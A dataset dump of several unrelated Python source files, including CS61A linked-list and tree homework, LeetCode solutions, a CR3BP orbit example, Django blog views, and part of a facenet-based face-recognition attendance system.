Link(Link(Link(5))))))\n <<2 <4 6> 8> <<10>>>\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n if link is Link.empty:\n return link\n if isinstance(link.first, Link):\n first = deep_map(f, link.first)\n else:\n first = f(link.first)\n return Link(first, deep_map(f, link.rest))\n\n\nclass Tree:\n \"\"\"\n >>> t = Tree(3, [Tree(2, [Tree(5)]), Tree(4)])\n >>> t.label\n 3\n >>> t.branches[0].label\n 2\n >>> t.branches[1].is_leaf()\n True\n \"\"\"\n\n def __init__(self, label, branches=[]):\n for b in branches:\n assert isinstance(b, Tree)\n self.label = label\n self.branches = list(branches)\n\n def is_leaf(self):\n return not self.branches\n\n def map(self, fn):\n \"\"\"\n Apply a function `fn` to each node in the tree and mutate the tree.\n\n >>> t1 = Tree(1)\n >>> t1.map(lambda x: x + 2)\n >>> t1.map(lambda x : x * 4)\n >>> t1.label\n 12\n >>> t2 = Tree(3, [Tree(2, [Tree(5)]), Tree(4)])\n >>> t2.map(lambda x: x * x)\n >>> t2\n Tree(9, [Tree(4, [Tree(25)]), Tree(16)])\n \"\"\"\n self.label = fn(self.label)\n for b in self.branches:\n b.map(fn)\n\n def __contains__(self, e):\n \"\"\"\n Determine whether an element exists in the tree.\n\n >>> t1 = Tree(1)\n >>> 1 in t1\n True\n >>> 8 in t1\n False\n >>> t2 = Tree(3, [Tree(2, [Tree(5)]), Tree(4)])\n >>> 6 in t2\n False\n >>> 5 in t2\n True\n \"\"\"\n if self.label == e:\n return True\n for b in self.branches:\n if e in b:\n return True\n return False\n\n def __repr__(self):\n if self.branches:\n branch_str = ', ' + repr(self.branches)\n else:\n branch_str = ''\n return 'Tree({0}{1})'.format(self.label, branch_str)\n\n def __str__(self):\n def print_tree(t, indent=0):\n tree_str = ' ' * indent + str(t.label) + \"\\n\"\n for b in t.branches:\n tree_str += print_tree(b, indent + 1)\n return tree_str\n\n return print_tree(self).rstrip()\n\n\nclass Link:\n \"\"\"A linked list.\n\n >>> s = Link(1)\n >>> s.first\n 1\n >>> s.rest is Link.empty\n True\n >>> s = Link(2, Link(3, Link(4)))\n >>> s.first = 5\n >>> s.rest.first = 6\n >>> s.rest.rest = Link.empty\n >>> s # Displays the contents of repr(s)\n Link(5, Link(6))\n >>> s.rest = Link(7, Link(Link(8, Link(9))))\n >>> s\n Link(5, Link(7, Link(Link(8, Link(9)))))\n >>> print(s) # Prints str(s)\n <5 7 <8 9>>\n \"\"\"\n empty = ()\n\n def __init__(self, first, rest=empty):\n assert rest is Link.empty or isinstance(rest, Link)\n self.first = first\n self.rest = rest\n\n def __repr__(self):\n if self.rest is not Link.empty:\n rest_repr = ', ' + repr(self.rest)\n else:\n rest_repr = ''\n return 'Link(' + repr(self.first) + rest_repr + ')'\n\n def __str__(self):\n string = '<'\n while self.rest is not Link.empty:\n string += str(self.first) + ' '\n self = self.rest\n return string + str(self.first) + '>'\n","repo_name":"simonzhang0428/CS61A_2020Summer","sub_path":"hw06/hw06.py","file_name":"hw06.py","file_ext":"py","file_size_in_byte":11963,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"10076455168","text":"\n'''\n460. LFU缓存\n设计并实现最不经常使用(LFU)缓存的数据结构。它应该支持以下操作:get 和 put。\n\nget(key) - 如果键存在于缓存中,则获取键的值(总是正数),否则返回 -1。\nput(key, value) - 如果键不存在,请设置或插入值。当缓存达到其容量时,它应该在插入新项目之前,使最不经常使用的项目无效。在此问题中,当存在平局(即两个或更多个键具有相同使用频率)时,最近最少使用的键将被去除。\n\n进阶:\n你是否可以在 O(1) 时间复杂度内执行两项操作?\n\n示例:\n\nLFUCache cache = new LFUCache( 2 /* capacity (缓存容量) */ );\n\ncache.put(1, 1);\ncache.put(2, 2);\ncache.get(1); // 返回 1\ncache.put(3, 3); // 去除 key 2\ncache.get(2); // 返回 -1 (未找到key 2)\ncache.get(3); // 返回 3\ncache.put(4, 4); // 去除 key 1\ncache.get(1); // 返回 -1 (未找到 key 1)\ncache.get(3); // 返回 3\ncache.get(4); // 返回 4\n\n460. LFU Cache\nDesign and implement a data structure for Least Frequently Used (LFU) cache. It should support the following operations: get and put.\n\nget(key) - Get the value (will always be positive) of the key if the key exists in the cache, otherwise return -1.\nput(key, value) - Set or insert the value if the key is not already present. When the cache reaches its capacity, it should invalidate the least frequently used item before inserting a new item. For the purpose of this problem, when there is a tie (i.e., two or more keys that have the same frequency), the least recently used key would be evicted.\n\nNote that the number of times an item is used is the number of calls to the get and put functions for that item since it was inserted. This number is set to zero when the item is removed.\n\n \n\nFollow up:\nCould you do both operations in O(1) time complexity?\n\n \n\nExample:\n\nLFUCache cache = new LFUCache( 2 /* capacity */ );\n\ncache.put(1, 1);\ncache.put(2, 2);\ncache.get(1); // returns 1\ncache.put(3, 3); // evicts key 2\ncache.get(2); // returns -1 (not found)\ncache.get(3); // returns 3.\ncache.put(4, 4); // evicts key 1.\ncache.get(1); // returns -1 (not found)\ncache.get(3); // returns 3\ncache.get(4); // returns 4\n'''\n\n\n\nimport operator\n\nclass Node(object):\n def __init__(self, value, last_get, frq, key):\n self.value = value\n self.key = key\n self.last_get = last_get\n self.frq = frq\n\n\nclass LFUCache(object):\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.values = {}\n self.time_ = 0\n self.remain = capacity\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n self.time_ += 1\n if key not in self.values:\n return -1\n else:\n value = self.values[key]\n value.frq += 1\n value.last_get = self.time_\n self.values[key] = value\n return self.values[key].value\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: None\n \"\"\"\n self.time_ += 1\n v = Node(value, self.time_, 1, key)\n if key in self.values:\n v = self.values.pop(key)\n v.value = value\n v.frq += 1\n else:\n if self.remain <= 0:\n if not self.values:\n return\n values = sorted(self.values.values(), key=operator.attrgetter(\"frq\", \"last_get\"))\n self.values.pop(values[0].key)\n else:\n self.remain -= 1\n self.values[key] = v\n\n\n # Your LFUCache object will be instantiated and called as such:\n # obj = LFUCache(capacity)\n # param_1 = obj.get(key)\n # obj.put(key,value)\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/LRU-cache/leetcode-460-LFUCache.py","file_name":"leetcode-460-LFUCache.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7721349492","text":"\"\"\"Created on Sat Feb 26 23:09:08 2022.\n\n@author: Dhruv Jain, Multi-Body Dynamics Research Group, Purdue University\n dhruvj9922@gmail.com\n\nObj: Test Periodic Orbit Single Shooter\n\nInitial Condition obtained from:\nD. Grebow, \"Generating Periodic Orbits in the Circular Restricted Three-Body Problem with Applications to Lunar South Pole Coverage,\" M.S., May 2006.\n\"\"\"\n\nimport copy\n\nfrom cr3bp_char_quant import sys_chars\nfrom cr3bp_lib_calc import lib_pt_loc\nfrom cr3bp_PO_master import periodic_orbit\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nsys_p1p2 = sys_chars(\"Earth\", \"Moon\")\nmu = sys_p1p2.mu\nlib_loc = lib_pt_loc(sys_p1p2)\nli = lib_loc[1, :] # 0 for L1 and 1 for L2\n\nig = np.array(\n [1.021881345465263, 0, 0.182000000000000, 0, -0.102950816739606, 0]\n)\ntf_guess = 1.509263667286943\n\nfree_vars = [\"x\", \"vy\", \"t\"]\nconstraints = [\"y\", \"vx\", \"vz\"]\n\norbit_results = []\n\npo = periodic_orbit(sys_p1p2, ig)\npo.tf = tf_guess\n\nfor i in range(20):\n results, iterflag = po.single_shooter(free_vars, constraints)\n\n orbit_results.append(results)\n\n po.ic = copy.copy(results[\"states\"][0, :])\n print(po.ic)\n po.ic[2] += 0.001\n\n\n# results, iterflag = po_single_shooter_cr3bp(mu, ig, tf_guess, free_vars, constraints)\n# orbit_results.append(results)\n\nplt.figure(1)\nax = plt.axes(projection=\"3d\")\nax.set_title(\"EM, L1 Orbit Family, tol = 1e-12\")\nfor i in range(len(orbit_results)):\n ax.plot3D(\n orbit_results[i][\"states\"][:, 0],\n orbit_results[i][\"states\"][:, 1],\n orbit_results[i][\"states\"][:, 2],\n )\nplt.plot(li[0], li[1], \"ro\", label=\"L1\")\nax.scatter(li[0], li[1], li[2], color=\"red\")\nax.set_box_aspect(\n [ub - lb for lb, ub in (getattr(ax, f\"get_{a}lim\")() for a in \"xyz\")]\n)\nax.set_ylabel(\"y [nd]\")\nax.set_xlabel(\"x [nd]\")\nax.set_zlabel(\"z [nd]\")\nplt.show()\n","repo_name":"poliastro/poliastro","sub_path":"contrib/cr3bp_DhruvJ/example_3D_orb_fam.py","file_name":"example_3D_orb_fam.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":806,"dataset":"github-code","pt":"21"} +{"seq_id":"43036965991","text":"planet_list = [\"Mercury\", \"Mars\"]\n\n# 1. Use the extend() method to add another list of the last two planets in our solar system to the end of the list.\n# append adds one item to the list\nplanet_list.append(\"Jupiter\")\nplanet_list.append(\"Saturn\")\n\n# 2. Use the extend() method to add another list of the last two planets in our solar system to the end of the list.\n# extend adds more than one item to the list\nplanet_list.extend([\"Uranus\", \"Neptune\"])\n\n# 3. Use insert() to add Earth, and Venus in the correct order.\n# insert an item at a given position\nplanet_list.insert(1, \"Venus\")\nplanet_list.insert(2, \"Earth\")\n\n# 4. Use append() again to add Pluto to the end of the list.\nplanet_list.append(\"Pluto\")\n\n# 5. Now that all the planets are in the list, slice the list in order to get the rocky planets into a new list called rocky_planets.\n# slice by creating a new list cutting off at proper index\nrocky_planets = planet_list[:4]\nprint(rocky_planets)\n\n# 6. Being good amateur astronomers, we know that Pluto is now a dwarf planet, so use the del operation to remove it from the end of planet_list.\n# remove() works the same as del operation, example below\n# planet_list.remove(\"Pluto\")\ndel planet_list[8]\nprint(planet_list)\n\n\n\n\n\n\n","repo_name":"CarolineMadison/Python_Lists","sub_path":"planetList.py","file_name":"planetList.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888378292","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution:\n def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]:\n res = []\n visited = dict()\n cache = {}\n \n def serialize(root): \n # use cache to only serialize node once\n if root in cache:\n return cache[root]\n cache[root] = '^' + str(root.val) + serialize(root.left) + serialize(root.right) if root else 'N'\n return cache[root] \n \n def helper(node):\n if not node:\n return None\n # serialize each node to see if pattern exists\n subtree = serialize(node)\n visited[subtree] = visited.get(subtree, 0) + 1\n # if repeated more than 2 times, do not add\n if visited[subtree] == 2: \n res.append(node)\n helper(node.left)\n helper(node.right)\n helper(root)\n \n return res\n\n def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]:\n visited = defaultdict(list)\n res = []\n \n def serialize(root): # O(N)\n if not root:\n return 'N'\n # '^' to seprate 1 11 / 11 1\n s = '^' + str(root.val) + serialize(root.left) + serialize(root.right)\n visited[s].append(root)\n return s\n \n serialize(root)\n for k, v in visited.items():\n if len(v) > 1:\n res.append(v[0])\n return res\n\nif __name__ == '__main__':\n s = Solution()\n print(s.findDuplicateSubtrees([2,1,11,11,null,1])) # []\n\n\n \n","repo_name":"xiaofanc/leetcode","sub_path":"0652-find-duplicate-subtrees.py","file_name":"0652-find-duplicate-subtrees.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35867844471","text":"import tensorflow.keras.layers as tfl \nimport tensorflow as tf \n\nclass CosSimConv1D(tfl.Layer):\n \n def __init__(self, units=32, kernel_size=3):\n \"\"\"\n Cosine similarity convolution \n Args:\n units (int): number of filters\n kernel_size (int): size of filters\n \"\"\"\n super(CosSimConv1D, self).__init__()\n self.units = units\n self.kernel_size = kernel_size\n\n def build(self, input_shape):\n self.in_shape = input_shape\n\n self.flat_size = self.in_shape[1]\n self.channels = self.in_shape[2]\n\n self.w = self.add_weight(\n shape=(1, self.channels * self.kernel_size, self.units),\n initializer=\"glorot_uniform\",\n trainable=True,\n )\n self.b = self.add_weight(\n shape=(self.units,), initializer=\"zeros\", trainable=True)\n\n self.p = self.add_weight(\n shape=(self.units,), initializer='ones', trainable=True)\n\n self.q = self.add_weight(\n shape=(1,), initializer='zeros', trainable=True)\n\n def l2_normal(self, x, axis=None, epsilon=1e-12):\n square_sum = tf.reduce_sum(tf.square(x), axis, keepdims=True)\n x_inv_norm = tf.sqrt(tf.maximum(square_sum, epsilon))\n return x_inv_norm\n\n def stack3(self, x):\n x = tf.stack(\n [\n tf.pad(x[:, :-1, :], tf.constant([[0, 0], [1, 0], [0, 0]])),\n x,\n tf.pad(x[:, 1:, :], tf.constant([[0, 0], [0, 1], [0, 0]])),\n ], axis=2)\n return x\n\n def call(self, inputs, training=None):\n x = self.stack3(inputs)\n x = tf.reshape(x, (-1, self.flat_size, self.channels * self.kernel_size))\n q = tf.square(self.q)\n x_norm = self.l2_normal(x, axis=2) + q\n w_norm = self.l2_normal(self.w, axis=1) + q\n sign = tf.sign(tf.matmul(x, self.w))\n x = tf.matmul(x / x_norm, self.w / w_norm)\n x = tf.abs(x) + 1e-12\n x = tf.pow(x, tf.square(self.p))\n x = sign * x + self.b\n x = tf.reshape(x, (-1, self.in_shape[1], self.units))\n return x\n","repo_name":"NorwegianSeismicArray/nais","sub_path":"nais/Layers/cossim.py","file_name":"cossim.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"31217143653","text":"import requests\nfrom bs4 import BeautifulSoup\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/50.0.2661.102 Safari/537.36'}\n\ndef get_page(url):\n \"\"\"Download a webpage and return a beautiful soup doc\"\"\"\n response = requests.get(url, headers=headers)\n if not response.ok:\n print('Status code:', response.status_code)\n raise Exception('Failed to load page {}'.format(url))\n page_content = response.text\n doc = BeautifulSoup(page_content, 'html.parser')\n return doc\n","repo_name":"FrogCounters/SimpliFeed-backend","sub_path":"scrape_article_template.py","file_name":"scrape_article_template.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28023513779","text":"from django.contrib.auth import login, authenticate\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.core.mail import send_mail\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.http import HttpResponseRedirect, BadHeaderError, HttpResponse\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse_lazy, reverse\nfrom django.views import View\nfrom django.core.paginator import Paginator\nfrom django.views.generic import CreateView, UpdateView, DeleteView\nfrom taggit.models import Tag\nfrom blog.models import Category, Post, Comment, Profile\nfrom .forms import SignInForm, SigUpForm, FeedBackForm, CommentCreateForm, ProfileUpdateForm, UserUpdateForm, \\\n PostCreateForm, PostUpdateForm\n\n\nclass MainView(View):\n def get(self, request, *args, **kwargs):\n five_posts = Post.objects.all()[:5]\n best_post_today = Post.objects.all()[1]\n best_post_week = Post.objects.all()[:3]\n categories = Category.objects.all()\n four_authors = User.objects.all()[:4]\n\n return render(request, 'blog/home.html', context={\n 'five_posts': five_posts,\n 'best_post_today': best_post_today,\n 'best_post_week': best_post_week,\n 'categories': categories,\n 'four_authors': four_authors\n })\n\n\nclass AuthorPage(View):\n def get(self, request, user_name, *args, **kwargs):\n username = get_object_or_404(User, username=user_name)\n author = User.objects.get(username=username)\n posts = Post.objects.filter(author=author.id)\n paginator = Paginator(posts, 6)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n\n return render(request, 'blog/author_page.html', context={\n 'page_obj': page_obj,\n 'author': author,\n })\n\n\nclass PostsView(View):\n def get(self, request, *args, **kwargs):\n posts = Post.objects.all()\n paginator = Paginator(posts, 6)\n best_post_today = Post.objects.all()[1]\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n\n return render(request, 'blog/posts.html', context={\n 'page_obj': page_obj,\n 'best_post_today': best_post_today\n })\n\n\nclass CommentCreateView(LoginRequiredMixin, CreateView):\n model = Comment\n form_class = CommentCreateForm\n\n def form_invalid(self, form):\n return super().form_invalid(form)\n\n def form_valid(self, form):\n comment = form.save(commit=False)\n comment.post_id = self.kwargs.get('pk')\n comment.author = self.request.user\n comment.parent_id = form.cleaned_data.get('parent')\n comment.save()\n\n return redirect(comment.post.get_absolute_url())\n\n\nclass PostDetailView(View):\n def get(self, request, slug, *args, **kwargs):\n post = get_object_or_404(Post, slug=slug)\n post.numb_of_views += 1\n post.save()\n common_tags = Post.tag.most_common()\n last_posts = Post.objects.all().order_by('-id')[:3]\n comment_form = CommentCreateForm()\n return render(request, 'blog/post_details.html', context={\n 'post': post,\n 'common_tags': common_tags,\n 'last_posts': last_posts,\n 'form': comment_form\n })\n\n\nclass SignUpView(View):\n def get(self, request, *args, **kwargs):\n form = SigUpForm()\n return render(request, 'blog/signup.html', context={\n 'form': form,\n })\n\n def post(self, request, *args, **kwargs):\n form = SigUpForm(request.POST)\n if form.is_valid():\n user = form.save()\n if user is not None:\n login(request, user)\n return HttpResponseRedirect('/')\n return render(request, 'blog/signup.html', context={\n 'form': form,\n })\n\n\nclass SignInView(View):\n def get(self, request, *args, **kwargs):\n form = SignInForm()\n return render(request, 'blog/signin.html', context={\n 'form': form,\n })\n\n def post(self, request, *args, **kwargs):\n form = SignInForm(request.POST)\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return HttpResponseRedirect('/')\n return render(request, 'blog/signin.html', context={\n 'form': form,\n })\n\n\nclass PrivacyPolicy(View):\n def get(self, request, *args, **kwargs):\n return render(request, 'blog/privacy_policy.html')\n\n\nclass FeedBackView(View):\n def get(self, request, *args, **kwargs):\n form = FeedBackForm()\n return render(request, 'blog/contact.html', context={\n 'form': form,\n })\n\n def post(self, request, *args, **kwargs):\n form = FeedBackForm(request.POST)\n if form.is_valid():\n full_name = form.cleaned_data['full_name']\n from_email = form.cleaned_data['email']\n message = form.cleaned_data['message']\n subject = form.cleaned_data['subject']\n try:\n send_mail(f'От {full_name} | {subject}', message, from_email, ['sibagatullinnail@gmail.com'])\n except BadHeaderError:\n return HttpResponse('Невалидный заголовок')\n return HttpResponseRedirect('/')\n return render(request, 'blog/contact.html', context={\n 'form': form,\n })\n\n\nclass AboutUSView(View):\n def get(self, request, *args, **kwargs):\n four_authors = User.objects.all()[:4]\n return render(request, 'blog/about_us.html', context={\n 'four_authors': four_authors\n })\n\n\nclass SearchResultsView(View):\n def get(self, request, *args, **kwargs):\n query = self.request.GET.get('q')\n results = \"\"\n if query:\n results = Post.objects.filter(\n Q(title__icontains=query) | Q(content__icontains=query)\n )\n paginator = Paginator(results, 6)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n return render(request, 'blog/search.html', context={\n 'title': 'Поиск',\n 'page_obj': page_obj,\n 'count': paginator.count\n })\n\n\nclass TagView(View):\n def get(self, request, slug, *args, **kwargs):\n tag = get_object_or_404(Tag, slug=slug)\n posts = Post.objects.filter(tag=tag)\n paginator = Paginator(posts, 6)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n common_tags = Post.tag.most_common()\n categories = Category.objects.all()[:6]\n return render(request, 'blog/tag.html', context={\n 'title': f'#ТЕГ {tag}',\n 'page_obj': page_obj,\n 'common_tags': common_tags,\n 'categories': categories,\n })\n\n\nclass CategoryView(View):\n def get(self, request, slug, *args, **kwargs):\n category = get_object_or_404(Category, slug=slug)\n posts = Post.objects.filter(category=category)\n paginator = Paginator(posts, 6)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n common_tags = Post.tag.most_common()\n categories = Category.objects.all()[:6]\n return render(request, 'blog/categories.html', context={\n 'title': category,\n 'page_obj': page_obj,\n 'common_tags': common_tags,\n 'categories': categories,\n })\n\n\nclass ProfileDetailView(View):\n def get(self, request, pk, *args, **kwargs):\n user = get_object_or_404(User, pk=pk)\n posts = Post.objects.filter(author=user.pk)\n paginator = Paginator(posts, 6)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n\n return render(request, 'blog/profile_detail.html', context={\n 'page_obj': page_obj,\n 'user': user,\n })\n\n\nclass ProfileUpdateView(UpdateView):\n model = Profile\n form_class = ProfileUpdateForm\n template_name = 'blog/profile_edit.html'\n\n def get_object(self, queryset=None):\n return self.request.user.profile\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = f'Редактирование профиля пользователя: {self.request.user.username}'\n if self.request.POST:\n context['user_form'] = UserUpdateForm(self.request.POST, instance=self.request.user)\n else:\n context['user_form'] = UserUpdateForm(instance=self.request.user)\n return context\n\n def form_valid(self, form):\n context = self.get_context_data()\n user_form = context['user_form']\n with transaction.atomic():\n if all([form.is_valid(), user_form.is_valid()]):\n user_form.save()\n form.save()\n else:\n context.update({'user_form': user_form})\n return self.render_to_response(context)\n return super(ProfileUpdateView, self).form_valid(form)\n\n def get_success_url(self):\n return reverse_lazy('profile_detail', kwargs={'slug': self.object.slug})\n\n\nclass PostCreateView(CreateView):\n model = Post\n template_name = 'blog/post_create.html'\n form_class = PostCreateForm\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = 'Добавление статьи на сайт'\n return context\n\n def form_valid(self, form):\n form.instance.author = self.request.user\n form.save()\n return super().form_valid(form)\n\n\nclass PostUpdateView(UpdateView):\n model = Post\n template_name = 'blog/post_update.html'\n context_object_name = 'post'\n form_class = PostUpdateForm\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = f'Обновление статьи: {self.object.title}'\n return context\n\n def form_valid(self, form):\n form.save()\n return super().form_valid(form)\n\n\nclass PostDeleteView(View):\n def post(self, request, slug, *args, **kwargs):\n user = Post.objects.get(slug=slug).author.id\n Post.objects.get(slug=slug).delete()\n return HttpResponseRedirect(f'/user/{user}')\n","repo_name":"melxiory/Django_blog_project","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5721113914","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/3/10 16:11\n# @Author : duwenzhi\n# @Site : \n# @File : AttendanceSystem.py\n# @Software: PyCharm\n\nimport mysql.connector\nimport align.detect_face\nimport sys\nimport mysql.connector\nimport os\nimport cv2\nimport facenet\nimport datetime\nimport logging\nimport numpy as np\nimport mysql.connector\nimport tensorflow as tf\nimport align.detect_face\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom scipy import misc\nfrom PIL import Image,ImageDraw,ImageFont\nfrom UI_AttendanceSystem_Main import Ui_MainWindow\nfrom PyQt5.QtWidgets import QMainWindow , QApplication\n\nlogging.basicConfig(level = logging.INFO,format = '%(asctime)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\n\nflags = tf.app.flags\nroot_path = os.getcwd() + os.sep\nlogger.info('root_path : ' +root_path)\n#初始化命令行参数\nflags.DEFINE_string('model_path', os.path.join(root_path + '', '20170512-110547'), '预训练模型位置')\nflags.DEFINE_string('img_dir', os.path.join(root_path + '', 'img'), '图片保存目录')\nflags.DEFINE_string('file_name', os.path.join(root_path + 'logs', 'data.txt'), '图片与中文姓名关联信息文件名称')\nflags.DEFINE_string('ttf_file', 'C:\\WINDOWS\\Fonts\\simfang.ttf', '中文字体文件')\nflags.DEFINE_integer('font_size',20,'中文字体大小')\nflags.DEFINE_string('query_sql', 'SELECT * FROM my_facenet_table', '查询sql')\n\n#初始化mysql数据库参数\nconfig = {\n 'user': 'root',\n 'password': 'root',\n 'host': '127.0.0.1',\n 'database': 'test',\n 'charset': 'utf8',\n 'pool_size': 10,\n \"pool_name\": \"server\",\n \"pool_reset_session\": False\n}\n\nclass PyFacenetDetect(QMainWindow,Ui_MainWindow):\n\n def __init__(self,mydb,FLAGS,is_read_mysql,sess,parent=None):\n super(PyFacenetDetect, self).__init__(parent)\n self.FLAGS = FLAGS\n self.setupUi(self)\n if is_read_mysql:\n #获取保存的人脸图片与相对应的关联信息\n self.name_dict = self.read_mysql(mydb)\n self.mydb = mydb\n else:\n self.name_dict = self.read_log()\n #创建MTCNN模型,初始化pnet,rnet,onet网络,为摄像头获取的图片进行人脸对齐做准备\n self.pnet, self.rnet, self.onet = self.pre_net()\n self.sess = sess\n self.images_placeholder = tf.get_default_graph().get_tensor_by_name(\"input:0\")\n self.embeddings = tf.get_default_graph().get_tensor_by_name(\"embeddings:0\")\n self.phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"phase_train:0\")\n\n ##录入的所有人脸图片\n image = []\n # 录入的所有人脸图片名称\n self.all_img_list = []\n for i in os.listdir(FLAGS.img_dir):\n self.all_img_list.append(i)\n img = misc.imread(os.path.join(FLAGS.img_dir, i), mode='RGB')\n prewhitened = facenet.prewhiten(img)\n image.append(prewhitened)\n\n images = np.stack(image)\n feed_dict = {self.images_placeholder: images, self.phase_train_placeholder: False}\n # 获取录入的所有人脸图片的128维向量\n self.compare_emb = sess.run(self.embeddings, feed_dict=feed_dict)\n self.compare_num = len(self.compare_emb)\n\n # 打开摄像头\n video = 'E:\\\\tmp\\\\testVideo\\\\test2.mp4'\n self.camera = cv2.VideoCapture(0)\n # 判断摄像头是否打开\n self.is_camera_opened = False\n\n # 定时器:30ms捕获一帧\n self._timer = QtCore.QTimer(self)\n self._timer.timeout.connect(self._queryFrame)\n self._timer.setInterval(30)\n\n\n def pre_net(self):\n with tf.Graph().as_default():\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=1.0)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n with sess.as_default():\n pnet, rnet, onet = align.detect_face.create_mtcnn(sess, None)\n return pnet,rnet,onet\n\n def btnOpenCamera_Clicked(self):\n '''\n 打开和关闭摄像头\n '''\n self.is_camera_opened = ~self.is_camera_opened\n if self.is_camera_opened:\n self.btnOpenCamera.setText('关闭摄像头')\n self._timer.start()\n else:\n self.btnOpenCamera.setText('打开摄像头')\n self._timer.stop()\n\n @QtCore.pyqtSlot()\n def _queryFrame(self):\n '''\n 循环获取图片\n '''\n #获取摄像头的图片\n ret, self.frame = self.camera.read()\n if not ret:\n return\n # OpenCV图像以BGR通道存储,显示时需要从BGR转到RGB\n rgb_frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB)\n img_PIL = Image.fromarray(rgb_frame)\n #使用ImageFont模块,显示中文字体\n font = ImageFont.truetype(FLAGS.ttf_file, FLAGS.font_size)\n # 获取摄像头拍摄的图片中人脸的标识以及对图片进行对齐、裁剪的人脸图片\n mark, bounding_box, crop_image = self.load_and_align_data(rgb_frame, 160, 44,self.pnet, self.rnet, self.onet)\n #判断图片中是否存在人脸\n if (mark):\n feed_dict = {self.images_placeholder: crop_image, self.phase_train_placeholder: False}\n #获取对齐、裁剪后的人脸图片的128维向量\n emb = self.sess.run(self.embeddings, feed_dict=feed_dict)\n temp_num = len(emb)\n output_text = []\n #计算对齐、裁剪后的人脸图片的128维向量和所有录入的人脸信息的向量之间的距离\n # for i in range(temp_num):\n dist_list = []\n for j in range(self.compare_num):\n #计算向量之间的距离\n dist = np.sqrt(np.sum(np.square(np.subtract(emb[0, :], self.compare_emb[j, :]))))\n dist_list.append(dist)\n min_value = min(dist_list)\n if (min_value > 0.65):\n output_text.append('无法识别,请重新录入信息')\n else:\n output_text.append(self.name_dict[self.all_img_list[dist_list.index(min_value)].split('.jpg')[0]] + '考勤成功')\n self.record_attendance_info(self.name_dict[self.all_img_list[dist_list.index(min_value)].split('.jpg')[0]])\n\n\n # 在frame上绘制文字\n # 字体颜色\n fillColor = (255, 255, 255)\n # 文字输出位置\n position = (200, 400)\n # 输出内容\n str = output_text[0]\n draw = ImageDraw.Draw(img_PIL)\n draw.text(position, str, font=font, fill=fillColor)\n\n # 转换回OpenCV格式\n temp_frame = np.asarray(img_PIL)\n\n img_rows, img_cols, channels = temp_frame.shape\n bytesPerLine = channels * img_cols\n # cv2.cvtColor(temp_frame, cv2.COLOR_BGR2RGB, temp_frame)\n QImg = QImage(temp_frame.data, img_cols, img_rows, bytesPerLine, QImage.Format_RGB888)\n self.labelCamera.setPixmap(QPixmap.fromImage(QImg).scaled(\n self.labelCamera.size(), Qt.KeepAspectRatio, Qt.SmoothTransformation))\n\n def record_attendance_info(self,name):\n mycursor = mydb.cursor()\n local_times = datetime.datetime.now().strftime('%Y-%m-%d')\n query_time_sql = \"select * from my_attendance_table where n_name =%s and n_update_time like %s order by n_id;\"\n val = (name, str(local_times) + \"%\")\n mycursor.execute(query_time_sql, val)\n myresult = mycursor.fetchall()\n if myresult:\n if len(myresult) == 2:\n id, name, time = myresult[1]\n local_timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n update_sql = \"UPDATE my_attendance_table SET n_name = %s,n_update_time=%s WHERE n_id = %s\"\n val = (name, local_timestamp, id)\n 